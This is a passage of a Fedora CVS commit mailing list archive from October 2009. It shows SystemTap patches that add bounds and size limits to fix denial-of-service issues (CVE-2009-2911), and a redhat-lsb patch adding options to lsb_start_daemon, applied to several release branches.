 	dbug_unwind(1, "targetLoc=%lx state->loc=%lx\n", targetLoc, state->loc);
 	if (start != state->cieStart) {
 		state->loc = state->org;
@@ -606,10 +624,10 @@ static int unwind_frame(struct unwind_frame_info *frame,
 
 	/* found the fde, now set startLoc and endLoc */
 	if (fde != NULL) {
-		cie = cie_for_fde(fde, table, is_ehframe);
+		cie = cie_for_fde(fde, table, table_len, is_ehframe);
 		if (likely(cie != NULL && cie != &bad_cie && cie != &not_fde)) {
 			ptr = (const u8 *)(fde + 2);
-			ptrType = fde_pointer_type(cie);
+			ptrType = fde_pointer_type(cie, table, table_len);
 			startLoc = read_pointer(&ptr, (const u8 *)(fde + 1) + *fde, ptrType);
 			startLoc = adjustStartLoc(startLoc, m, s, ptrType, is_ehframe);
 
@@ -632,12 +650,12 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	    for (fde = table, tableSize = table_len; cie = NULL, tableSize > sizeof(*fde)
 		 && tableSize - sizeof(*fde) >= *fde; tableSize -= sizeof(*fde) + *fde, fde += 1 + *fde / sizeof(*fde)) {
 			dbug_unwind(3, "fde=%lx tableSize=%d\n", (long)*fde, (int)tableSize);
-			cie = cie_for_fde(fde, table, is_ehframe);
+			cie = cie_for_fde(fde, table, table_len, is_ehframe);
 			if (cie == &bad_cie) {
 				cie = NULL;
 				break;
 			}
-			if (cie == NULL || cie == &not_fde || (ptrType = fde_pointer_type(cie)) < 0)
+			if (cie == NULL || cie == &not_fde || (ptrType = fde_pointer_type(cie, table, table_len)) < 0)
 				continue;
 
 			ptr = (const u8 *)(fde + 2);
@@ -666,6 +684,12 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	state.cieEnd = ptr;	/* keep here temporarily */
 	ptr = (const u8 *)(cie + 2);
 	end = (const u8 *)(cie + 1) + *cie;
+
+	/* end should fall within unwind table. */
+	if (((void *)end) < table
+	    || ((void *)end) > ((void *)(table + table_len)))
+	  goto err;
+
 	frame->call_frame = 1;
 	if ((state.version = *ptr) != 1) {
 		dbug_unwind(1, "CIE version number is %d.  1 is supported.\n", state.version);
@@ -723,6 +747,11 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	state.cieEnd = end;
 	end = (const u8 *)(fde + 1) + *fde;
 
+	/* end should fall within unwind table. */
+	if (((void*)end) < table
+	    || ((void *)end) > ((void *)(table + table_len)))
+	  goto err;
+
 	/* skip augmentation */
 	if (((const char *)(cie + 2))[1] == 'z') {
 		uleb128_t augSize = get_uleb128(&ptr, end);
diff --git a/runtime/unwind/unwind.h b/runtime/unwind/unwind.h
index 285a3a3..023ea60 100644
--- a/runtime/unwind/unwind.h
+++ b/runtime/unwind/unwind.h
@@ -143,8 +143,10 @@ static unsigned long read_pointer(const u8 **pLoc,
                                   const void *end,
                                   signed ptrType);
 static const u32 bad_cie, not_fde;
-static const u32 *cie_for_fde(const u32 *fde, void *table, int is_ehframe);
-static signed fde_pointer_type(const u32 *cie);
+static const u32 *cie_for_fde(const u32 *fde, void *table,
+			      uint32_t table_len, int is_ehframe);
+static signed fde_pointer_type(const u32 *cie,
+			       void *table, uint32_t table_len);
 
 
 #endif /* STP_USE_DWARF_UNWINDER */
diff --git a/translate.cxx b/translate.cxx
index bc5d615..9d456bc 100644
--- a/translate.cxx
+++ b/translate.cxx
@@ -29,6 +29,11 @@ extern "C" {
 #include <elfutils/libdwfl.h>
 }
 
+// Max unwind table size (debug or eh) per module. Somewhat arbitrary
+// limit (a bit more than twice the .debug_frame size of my local
+// vmlinux for 2.6.31.4-83.fc12.x86_64)
+#define MAX_UNWIND_TABLE_SIZE (3 * 1024 * 1024)
+
 using namespace std;
 
 struct var;
@@ -4785,6 +4790,9 @@ dump_unwindsyms (Dwfl_Module *m,
   get_unwind_data (m, &debug_frame, &eh_frame, &debug_len, &eh_len, &eh_addr);
   if (debug_frame != NULL && debug_len > 0)
     {
+      if (debug_len > MAX_UNWIND_TABLE_SIZE)
+	throw semantic_error ("module debug unwind table size too big");
+
       c->output << "#if defined(STP_USE_DWARF_UNWINDER) && defined(STP_NEED_UNWIND_DATA)\n";
       c->output << "static uint8_t _stp_module_" << stpmod_idx
 		<< "_debug_frame[] = \n";
@@ -4802,6 +4810,9 @@ dump_unwindsyms (Dwfl_Module *m,
 
   if (eh_frame != NULL && eh_len > 0)
     {
+      if (eh_len > MAX_UNWIND_TABLE_SIZE)
+	throw semantic_error ("module eh unwind table size too big");
+
       c->output << "#if defined(STP_USE_DWARF_UNWINDER) && defined(STP_NEED_UNWIND_DATA)\n";
       c->output << "static uint8_t _stp_module_" << stpmod_idx
 		<< "_eh_frame[] = \n";


Index: systemtap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/systemtap/devel/systemtap.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- systemtap.spec	23 Sep 2009 02:25:47 -0000	1.53
+++ systemtap.spec	21 Oct 2009 15:36:43 -0000	1.54
@@ -9,7 +9,7 @@
 
 Name: systemtap
 Version: 1.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 # for version, see also configure.ac
 Summary: Instrumentation System
 Group: Development/System
@@ -61,6 +61,11 @@ BuildRequires: xmlto /usr/share/xmlto/fo
 BuildRequires: gtkmm24-devel >= 2.8
 %endif
 
+# Fix three --unprivileged DOS issues (CVE-2009-2911)
+Patch10: SystemTap-1.0-limit-printf-arguments.patch
+Patch11: SystemTap-1.0-limit-dwarf-expression-stack-size.patch
+Patch12: SystemTap-1.0-unwind-table-size-checks.patch
+
 %description
 SystemTap is an instrumentation system for systems running Linux 2.6.
 Developers can write instrumentation to collect data on the operation
@@ -164,6 +169,11 @@ find . \( -name configure -o -name confi
 cd ..
 %endif
 
+# Fix three --unprivileged DOS issues (CVE-2009-2911)
+%patch10 -p1
+%patch11 -p1
+%patch12 -p1
+
 %build
 
 %if %{with_bundled_elfutils}
@@ -387,6 +397,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Josh Stone <jistone at redhat.com> - 1.0-2
+- Fix three --unprivileged DOS issues (CVE-2009-2911)
+
 * Tue Sep 22 2009 Josh Stone <jistone at redhat.com> - 1.0-1
 - Upstream release.
 



From spot at fedoraproject.org  Wed Oct 21 15:46:22 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 21 Oct 2009 15:46:22 +0000 (UTC)
Subject: rpms/redhat-lsb/F-11 redhat-lsb-lsb_start_daemon-fix.patch, NONE,
	1.1 redhat-lsb.spec, 1.43, 1.44
Message-ID: <20091021154622.1462D11C01EA@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/redhat-lsb/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19891/F-11

Modified Files:
	redhat-lsb.spec 
Added Files:
	redhat-lsb-lsb_start_daemon-fix.patch 
Log Message:
fix bz485367

redhat-lsb-lsb_start_daemon-fix.patch:
 lsb_start_daemon |   26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

--- NEW FILE redhat-lsb-lsb_start_daemon-fix.patch ---
diff -up redhat-lsb-3.1/lsb_start_daemon.orig redhat-lsb-3.1/lsb_start_daemon
--- redhat-lsb-3.1/lsb_start_daemon.orig	2009-05-15 11:20:17.000000000 -0400
+++ redhat-lsb-3.1/lsb_start_daemon	2009-05-15 11:33:03.000000000 -0400
@@ -4,6 +4,9 @@
 
 nice=
 force=
+pidfile=
+user=
+check=
 RETVAL=
 while [ "$1" != "${1##[-+]}" ]; do
 	case $1 in
@@ -15,7 +18,28 @@ while [ "$1" != "${1##[-+]}" ]; do
 	     	nice=$2
 		shift 2
 		;;
+	     -p)
+		pidfile="--pidfile $2"
+		shift 2
+		;;
+	     -u)
+	        user="--user $2"
+		shift 2
+		;;
+	     -c)
+	        check="--check $2"
+		shift 2
+		;;
+	      *)     
+ 		echo "Unknown Option $1"
+ 		echo "Options are:"
+ 		echo "-f" 
+		echo "-p {pidfile}"
+		echo "-n [+/-nicelevel]"
+		echo "-u {user}"
+		echo "-c {base}"
+	        exit 1;;	
 	esac
 done
-LSB=LSB-1.1 daemon ${force:-} ${nice:-} $*
+LSB=LSB-1.1 daemon ${force:-} ${nice:-} ${pidfile:-} ${user:-} ${check:-} $*
 exit $?


Index: redhat-lsb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/redhat-lsb/F-11/redhat-lsb.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- redhat-lsb.spec	22 Apr 2009 01:51:49 -0000	1.43
+++ redhat-lsb.spec	21 Oct 2009 15:46:21 -0000	1.44
@@ -49,10 +49,11 @@
 Summary: LSB support for Red Hat Linux
 Name: redhat-lsb
 Version: 3.2
-Release: 3.fc11
-URL: http://www.linuxfoundation.org/
+Release: 6%{?dist}
+URL: http://www.linuxfoundation.org/collaborate/workgroups/lsb
 Source0: %{name}-%{version}-%{srcrelease}.tar.bz2
 Patch0: lsb-release-3.1-update-init-functions.patch
+Patch1: redhat-lsb-lsb_start_daemon-fix.patch
 License: GPLv2
 Group: System Environment/Base
 BuildRoot: %{_tmppath}/%{name}-root
@@ -526,6 +527,7 @@ installed on the system.
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 
 %build
 cd lsb-release-%{upstreamlsbrelver}
@@ -645,6 +647,19 @@ fi
 #/usr/X11R6/lib/X11/rgb.txt
 
 %changelog
+* Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-6
+- apply fix from bz485367 (thanks to Jon Thomas)
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Apr 24 2009 Jens Petersen <petersen at redhat.com>
+- improve url to LSB WG
+
+* Thu Apr 23 2009 Jens Petersen <petersen at redhat.com> - 3.2-4
+- use dist tag (Debarshi, #496553)
+- update to ix86 (caillon)
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From spot at fedoraproject.org  Wed Oct 21 15:46:21 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 21 Oct 2009 15:46:21 +0000 (UTC)
Subject: rpms/redhat-lsb/F-12 redhat-lsb-lsb_start_daemon-fix.patch, NONE,
	1.1 redhat-lsb.spec, 1.46, 1.47
Message-ID: <20091021154621.F31D111C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/redhat-lsb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19891/F-12

Modified Files:
	redhat-lsb.spec 
Added Files:
	redhat-lsb-lsb_start_daemon-fix.patch 
Log Message:
fix bz485367

redhat-lsb-lsb_start_daemon-fix.patch:
 lsb_start_daemon |   26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

--- NEW FILE redhat-lsb-lsb_start_daemon-fix.patch ---
diff -up redhat-lsb-3.1/lsb_start_daemon.orig redhat-lsb-3.1/lsb_start_daemon
--- redhat-lsb-3.1/lsb_start_daemon.orig	2009-05-15 11:20:17.000000000 -0400
+++ redhat-lsb-3.1/lsb_start_daemon	2009-05-15 11:33:03.000000000 -0400
@@ -4,6 +4,9 @@
 
 nice=
 force=
+pidfile=
+user=
+check=
 RETVAL=
 while [ "$1" != "${1##[-+]}" ]; do
 	case $1 in
@@ -15,7 +18,28 @@ while [ "$1" != "${1##[-+]}" ]; do
 	     	nice=$2
 		shift 2
 		;;
+	     -p)
+		pidfile="--pidfile $2"
+		shift 2
+		;;
+	     -u)
+	        user="--user $2"
+		shift 2
+		;;
+	     -c)
+	        check="--check $2"
+		shift 2
+		;;
+	      *)     
+ 		echo "Unknown Option $1"
+ 		echo "Options are:"
+ 		echo "-f" 
+		echo "-p {pidfile}"
+		echo "-n [+/-nicelevel]"
+		echo "-u {user}"
+		echo "-c {base}"
+	        exit 1;;	
 	esac
 done
-LSB=LSB-1.1 daemon ${force:-} ${nice:-} $*
+LSB=LSB-1.1 daemon ${force:-} ${nice:-} ${pidfile:-} ${user:-} ${check:-} $*
 exit $?


Index: redhat-lsb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/redhat-lsb/F-12/redhat-lsb.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- redhat-lsb.spec	27 Jul 2009 02:54:57 -0000	1.46
+++ redhat-lsb.spec	21 Oct 2009 15:46:21 -0000	1.47
@@ -49,10 +49,11 @@
 Summary: LSB support for Red Hat Linux
 Name: redhat-lsb
 Version: 3.2
-Release: 5%{?dist}
+Release: 6%{?dist}
 URL: http://www.linuxfoundation.org/collaborate/workgroups/lsb
 Source0: %{name}-%{version}-%{srcrelease}.tar.bz2
 Patch0: lsb-release-3.1-update-init-functions.patch
+Patch1: redhat-lsb-lsb_start_daemon-fix.patch
 License: GPLv2
 Group: System Environment/Base
 BuildRoot: %{_tmppath}/%{name}-root
@@ -526,6 +527,7 @@ installed on the system.
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 
 %build
 cd lsb-release-%{upstreamlsbrelver}
@@ -645,6 +647,9 @@ fi
 #/usr/X11R6/lib/X11/rgb.txt
 
 %changelog
+* Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-6
+- apply fix from bz485367 (thanks to Jon Thomas)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From spot at fedoraproject.org  Wed Oct 21 15:46:20 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 21 Oct 2009 15:46:20 +0000 (UTC)
Subject: rpms/redhat-lsb/F-10 redhat-lsb-lsb_start_daemon-fix.patch, NONE,
	1.1 redhat-lsb.spec, 1.41, 1.42
Message-ID: <20091021154620.C0D1211C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/redhat-lsb/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19891/F-10

Modified Files:
	redhat-lsb.spec 
Added Files:
	redhat-lsb-lsb_start_daemon-fix.patch 
Log Message:
fix bz485367

redhat-lsb-lsb_start_daemon-fix.patch:
 lsb_start_daemon |   26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

--- NEW FILE redhat-lsb-lsb_start_daemon-fix.patch ---
diff -up redhat-lsb-3.1/lsb_start_daemon.orig redhat-lsb-3.1/lsb_start_daemon
--- redhat-lsb-3.1/lsb_start_daemon.orig	2009-05-15 11:20:17.000000000 -0400
+++ redhat-lsb-3.1/lsb_start_daemon	2009-05-15 11:33:03.000000000 -0400
@@ -4,6 +4,9 @@
 
 nice=
 force=
+pidfile=
+user=
+check=
 RETVAL=
 while [ "$1" != "${1##[-+]}" ]; do
 	case $1 in
@@ -15,7 +18,28 @@ while [ "$1" != "${1##[-+]}" ]; do
 	     	nice=$2
 		shift 2
 		;;
+	     -p)
+		pidfile="--pidfile $2"
+		shift 2
+		;;
+	     -u)
+	        user="--user $2"
+		shift 2
+		;;
+	     -c)
+	        check="--check $2"
+		shift 2
+		;;
+	      *)     
+ 		echo "Unknown Option $1"
+ 		echo "Options are:"
+ 		echo "-f" 
+		echo "-p {pidfile}"
+		echo "-n [+/-nicelevel]"
+		echo "-u {user}"
+		echo "-c {base}"
+	        exit 1;;	
 	esac
 done
-LSB=LSB-1.1 daemon ${force:-} ${nice:-} $*
+LSB=LSB-1.1 daemon ${force:-} ${nice:-} ${pidfile:-} ${user:-} ${check:-} $*
 exit $?


Index: redhat-lsb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/redhat-lsb/F-10/redhat-lsb.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- redhat-lsb.spec	28 Aug 2008 06:06:51 -0000	1.41
+++ redhat-lsb.spec	21 Oct 2009 15:46:20 -0000	1.42
@@ -49,13 +49,15 @@
 Summary: LSB support for Red Hat Linux
 Name: redhat-lsb
 Version: 3.2
-Release: 2.fc10
-URL: http://www.linuxfoundation.org/
+Release: 6%{?dist}
+URL: http://www.linuxfoundation.org/collaborate/workgroups/lsb
 Source0: %{name}-%{version}-%{srcrelease}.tar.bz2
 Patch0: lsb-release-3.1-update-init-functions.patch
+Patch1: redhat-lsb-lsb_start_daemon-fix.patch
 License: GPLv2
 Group: System Environment/Base
 BuildRoot: %{_tmppath}/%{name}-root
+BuildRequires: glibc-static
 # dependency for primary LSB application for v1.3
 Provides: lsb = %{version}
 # dependency for primary LSB application for v2.0 and v3.0
@@ -85,7 +87,7 @@ Provides: lsb-graphics-%{archname} = %{v
 Provides: lsb-core-noarch = %{version}
 Provides: lsb-graphics-noarch = %{version}
 
-ExclusiveArch: i386 ia64 x86_64 ppc ppc64 s390 s390x
+ExclusiveArch: %{ix86} ia64 x86_64 ppc ppc64 s390 s390x
 
 %ifarch %{ix86}
 # archLSB IA32 Base Libraries
@@ -525,6 +527,7 @@ installed on the system.
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 
 %build
 cd lsb-release-%{upstreamlsbrelver}
@@ -644,6 +647,22 @@ fi
 #/usr/X11R6/lib/X11/rgb.txt
 
 %changelog
+* Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-6
+- apply fix from bz485367 (thanks to Jon Thomas)
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Apr 24 2009 Jens Petersen <petersen at redhat.com>
+- improve url to LSB WG
+
+* Thu Apr 23 2009 Jens Petersen <petersen at redhat.com> - 3.2-4
+- use dist tag (Debarshi, #496553)
+- update to ix86 (caillon)
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Thu Aug 28 2008 Hao Liu <hliu at redhat.com> 3.2-2
 - Modify "Requires: /usr/bin/mailx" to "Requires: mailx" (Bug #460249)
 



From spot at fedoraproject.org  Wed Oct 21 15:46:23 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 21 Oct 2009 15:46:23 +0000 (UTC)
Subject: rpms/redhat-lsb/devel redhat-lsb-lsb_start_daemon-fix.patch, NONE, 
	1.1 redhat-lsb.spec, 1.46, 1.47
Message-ID: <20091021154623.8DDF411C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/redhat-lsb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19891/devel

Modified Files:
	redhat-lsb.spec 
Added Files:
	redhat-lsb-lsb_start_daemon-fix.patch 
Log Message:
fix bz485367

redhat-lsb-lsb_start_daemon-fix.patch:
 lsb_start_daemon |   26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

--- NEW FILE redhat-lsb-lsb_start_daemon-fix.patch ---
diff -up redhat-lsb-3.1/lsb_start_daemon.orig redhat-lsb-3.1/lsb_start_daemon
--- redhat-lsb-3.1/lsb_start_daemon.orig	2009-05-15 11:20:17.000000000 -0400
+++ redhat-lsb-3.1/lsb_start_daemon	2009-05-15 11:33:03.000000000 -0400
@@ -4,6 +4,9 @@
 
 nice=
 force=
+pidfile=
+user=
+check=
 RETVAL=
 while [ "$1" != "${1##[-+]}" ]; do
 	case $1 in
@@ -15,7 +18,28 @@ while [ "$1" != "${1##[-+]}" ]; do
 	     	nice=$2
 		shift 2
 		;;
+	     -p)
+		pidfile="--pidfile $2"
+		shift 2
+		;;
+	     -u)
+	        user="--user $2"
+		shift 2
+		;;
+	     -c)
+	        check="--check $2"
+		shift 2
+		;;
+	      *)     
+ 		echo "Unknown Option $1"
+ 		echo "Options are:"
+ 		echo "-f" 
+		echo "-p {pidfile}"
+		echo "-n [+/-nicelevel]"
+		echo "-u {user}"
+		echo "-c {base}"
+	        exit 1;;	
 	esac
 done
-LSB=LSB-1.1 daemon ${force:-} ${nice:-} $*
+LSB=LSB-1.1 daemon ${force:-} ${nice:-} ${pidfile:-} ${user:-} ${check:-} $*
 exit $?


Index: redhat-lsb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/redhat-lsb/devel/redhat-lsb.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- redhat-lsb.spec	27 Jul 2009 02:54:57 -0000	1.46
+++ redhat-lsb.spec	21 Oct 2009 15:46:22 -0000	1.47
@@ -49,10 +49,11 @@
 Summary: LSB support for Red Hat Linux
 Name: redhat-lsb
 Version: 3.2
-Release: 5%{?dist}
+Release: 6%{?dist}
 URL: http://www.linuxfoundation.org/collaborate/workgroups/lsb
 Source0: %{name}-%{version}-%{srcrelease}.tar.bz2
 Patch0: lsb-release-3.1-update-init-functions.patch
+Patch1: redhat-lsb-lsb_start_daemon-fix.patch
 License: GPLv2
 Group: System Environment/Base
 BuildRoot: %{_tmppath}/%{name}-root
@@ -526,6 +527,7 @@ installed on the system.
 %prep
 %setup -q
 %patch0 -p1
+%patch1 -p1
 
 %build
 cd lsb-release-%{upstreamlsbrelver}
@@ -645,6 +647,9 @@ fi
 #/usr/X11R6/lib/X11/rgb.txt
 
 %changelog
+* Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-6
+- apply fix from bz485367 (thanks to Jon Thomas)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jistone at fedoraproject.org  Wed Oct 21 15:51:05 2009
From: jistone at fedoraproject.org (Josh Stone)
Date: Wed, 21 Oct 2009 15:51:05 +0000 (UTC)
Subject: rpms/systemtap/F-12
	SystemTap-1.0-limit-dwarf-expression-stack-size.patch, NONE,
	1.1 SystemTap-1.0-limit-printf-arguments.patch, NONE,
	1.1 SystemTap-1.0-unwind-table-size-checks.patch, NONE,
	1.1 systemtap.spec, 1.53, 1.54
Message-ID: <20091021155106.14FB211C02A4@cvs1.fedora.phx.redhat.com>

Author: jistone

Update of /cvs/pkgs/rpms/systemtap/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22596

Modified Files:
	systemtap.spec 
Added Files:
	SystemTap-1.0-limit-dwarf-expression-stack-size.patch 
	SystemTap-1.0-limit-printf-arguments.patch 
	SystemTap-1.0-unwind-table-size-checks.patch 
Log Message:
Fixes for CVE-2009-2911

SystemTap-1.0-limit-dwarf-expression-stack-size.patch:
 dwflpp.cxx   |   10 +++++++++-
 loc2c-test.c |    7 +++++--
 loc2c.c      |   19 ++++++++++++++-----
 loc2c.h      |    3 ++-
 4 files changed, 30 insertions(+), 9 deletions(-)

--- NEW FILE SystemTap-1.0-limit-dwarf-expression-stack-size.patch ---
diff --git a/dwflpp.cxx b/dwflpp.cxx
index 636cd38..c31548d 100644
--- a/dwflpp.cxx
+++ b/dwflpp.cxx
@@ -2272,7 +2272,15 @@ dwflpp::express_as_string (string prelude,
 
   fprintf(memstream, "{\n");
   fprintf(memstream, "%s", prelude.c_str());
-  bool deref = c_emit_location (memstream, head, 1);
+
+  unsigned int stack_depth;
+  bool deref = c_emit_location (memstream, head, 1, &stack_depth);
+
+  // Ensure that DWARF keeps loc2c to a "reasonable" stack size
+  // 32 intptr_t leads to max 256 bytes on the stack
+  if (stack_depth > 32)
+    throw semantic_error("oversized DWARF stack");
+
   fprintf(memstream, "%s", postlude.c_str());
   fprintf(memstream, "  goto out;\n");
 
diff --git a/loc2c-test.c b/loc2c-test.c
index 495a95f..ed7aa4b 100644
--- a/loc2c-test.c
+++ b/loc2c-test.c
@@ -329,11 +329,14 @@ handle_variable (Dwarf_Die *lscopes, int lnscopes, int out,
 	"{\n"
 	"  intptr_t value;");
 
-  bool deref = c_emit_location (stdout, head, 1);
+  unsigned int stack_depth;
+  bool deref = c_emit_location (stdout, head, 1, &stack_depth);
 
   obstack_free (&pool, NULL);
 
-  puts (store ? " return;" :
+  printf ("  /* max expression stack depth %u */\n", stack_depth);
+
+  puts (store ? "  return;" :
 	"  printk (\" ---> %ld\\n\", (unsigned long) value);\n"
 	"  return;");
 
diff --git a/loc2c.c b/loc2c.c
index 5d6b549..0716c7d 100644
--- a/loc2c.c
+++ b/loc2c.c
@@ -2071,7 +2071,8 @@ emit_loc_address (FILE *out, struct location *loc, unsigned int indent,
    assign it to an address-sized value.  */
 static void
 emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
-		const char *target, bool declare)
+		const char *target, bool declare,
+		bool *used_deref, unsigned int *max_stack)
 {
   if (declare)
     emit ("%*s%s %s;\n", indent * 2, "", STACK_TYPE, target);
@@ -2091,6 +2092,9 @@ emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
     case loc_address:
     case loc_value:
       emit_loc_address (out, loc, indent, target);
+      *used_deref = *used_deref || loc->address.used_deref;
+      if (loc->address.stack_depth > *max_stack)
+	*max_stack = loc->address.stack_depth;
       break;
     }
 
@@ -2098,7 +2102,8 @@ emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
 }
 
 bool
-c_emit_location (FILE *out, struct location *loc, int indent)
+c_emit_location (FILE *out, struct location *loc, int indent,
+		 unsigned int *max_stack)
 {
   emit ("%*s{\n", indent * 2, "");
 
@@ -2134,9 +2139,11 @@ c_emit_location (FILE *out, struct location *loc, int indent)
       }
 
   bool deref = false;
+  *max_stack = 0;
 
   if (loc->frame_base != NULL)
-    emit_loc_value (out, loc->frame_base, indent, "frame_base", true);
+    emit_loc_value (out, loc->frame_base, indent, "frame_base", true,
+		    &deref, max_stack);
 
   for (; loc->next != NULL; loc = loc->next)
     switch (loc->type)
@@ -2144,8 +2151,7 @@ c_emit_location (FILE *out, struct location *loc, int indent)
       case loc_address:
       case loc_value:
 	/* Emit the program fragment to calculate the address.  */
-	emit_loc_value (out, loc, indent + 1, "addr", false);
-	deref = deref || loc->address.used_deref;
+	emit_loc_value (out, loc, indent + 1, "addr", false, &deref, max_stack);
 	break;
 
       case loc_fragment:
@@ -2172,6 +2178,9 @@ c_emit_location (FILE *out, struct location *loc, int indent)
 
   emit ("%s%*s}\n", loc->address.program, indent * 2, "");
 
+  if (loc->address.stack_depth > *max_stack)
+    *max_stack = loc->address.stack_depth;
+
   return deref || loc->address.used_deref;
 }
 
diff --git a/loc2c.h b/loc2c.h
index becf2d8..45d9382 100644
--- a/loc2c.h
+++ b/loc2c.h
@@ -112,6 +112,7 @@ struct location *c_translate_argument (struct obstack *,
 
    Writes complete lines of C99, code forming a complete C block, to STREAM.
    Return value is true iff that code uses the `deref' runtime macros.  */
-bool c_emit_location (FILE *stream, struct location *loc, int indent);
+bool c_emit_location (FILE *stream, struct location *loc, int indent,
+		      unsigned int *max_stack);
 
 /* vim: set sw=2 ts=8 cino=>4,n-2,{2,^-2,t0,(0,u0,w1,M1 : */


SystemTap-1.0-limit-printf-arguments.patch:
 buildrun.cxx                  |    3 +++
 testsuite/transko/varargs.stp |   10 ++++++++++
 testsuite/transok/varargs.stp |    9 +++++++++
 translate.cxx                 |    5 +++++
 4 files changed, 27 insertions(+)

--- NEW FILE SystemTap-1.0-limit-printf-arguments.patch ---
diff --git a/buildrun.cxx b/buildrun.cxx
index 100cbc4..c86a442 100644
--- a/buildrun.cxx
+++ b/buildrun.cxx
@@ -200,6 +200,9 @@ compile_pass (systemtap_session& s)
 
   // o << "CFLAGS += -fno-unit-at-a-time" << endl;
 
+  // 600 bytes should be enough for anybody
+  o << "EXTRA_CFLAGS += $(call cc-option,-Wframe-larger-than=600)" << endl;
+
   // Assumes linux 2.6 kbuild
   o << "EXTRA_CFLAGS += -Wno-unused -Werror" << endl;
   #if CHECK_POINTER_ARITH_PR5947
diff --git a/testsuite/transko/varargs.stp b/testsuite/transko/varargs.stp
new file mode 100755
index 0000000..f38309a
--- /dev/null
+++ b/testsuite/transko/varargs.stp
@@ -0,0 +1,10 @@
+#! stap -p3
+
+probe begin {
+    // PR10750 enforces at most 32 print args
+    println(1, 2, 3, 4, 5, 6, 7, 8,
+            9, 10, 11, 12, 13, 14, 15, 16,
+            17, 18, 19, 20, 21, 22, 23, 24,
+            25, 26, 27, 28, 29, 30, 31, 32,
+            33)
+}
diff --git a/testsuite/transok/varargs.stp b/testsuite/transok/varargs.stp
new file mode 100755
index 0000000..216166f
--- /dev/null
+++ b/testsuite/transok/varargs.stp
@@ -0,0 +1,9 @@
+#! stap -p3
+
+probe begin {
+    // PR10750 enforces at most 32 print args
+    println(1, 2, 3, 4, 5, 6, 7, 8,
+            9, 10, 11, 12, 13, 14, 15, 16,
+            17, 18, 19, 20, 21, 22, 23, 24,
+            25, 26, 27, 28, 29, 30, 31, 32)
+}
diff --git a/translate.cxx b/translate.cxx
index 04a9247..c73a5bd 100644
--- a/translate.cxx
+++ b/translate.cxx
@@ -4151,6 +4151,11 @@ c_unparser::visit_print_format (print_format* e)
     {
       stmt_expr block(*this);
 
+      // PR10750: Enforce a reasonable limit on # of varargs
+      // 32 varargs leads to max 256 bytes on the stack
+      if (e->args.size() > 32)
+        throw semantic_error("too many arguments to print", e->tok);
+
       // Compute actual arguments
       vector<tmpvar> tmp;
 


SystemTap-1.0-unwind-table-size-checks.patch:
 runtime/unwind.c        |   43 ++++++++++++++++++++++++++++++++++++-------
 runtime/unwind/unwind.h |    6 ++++--
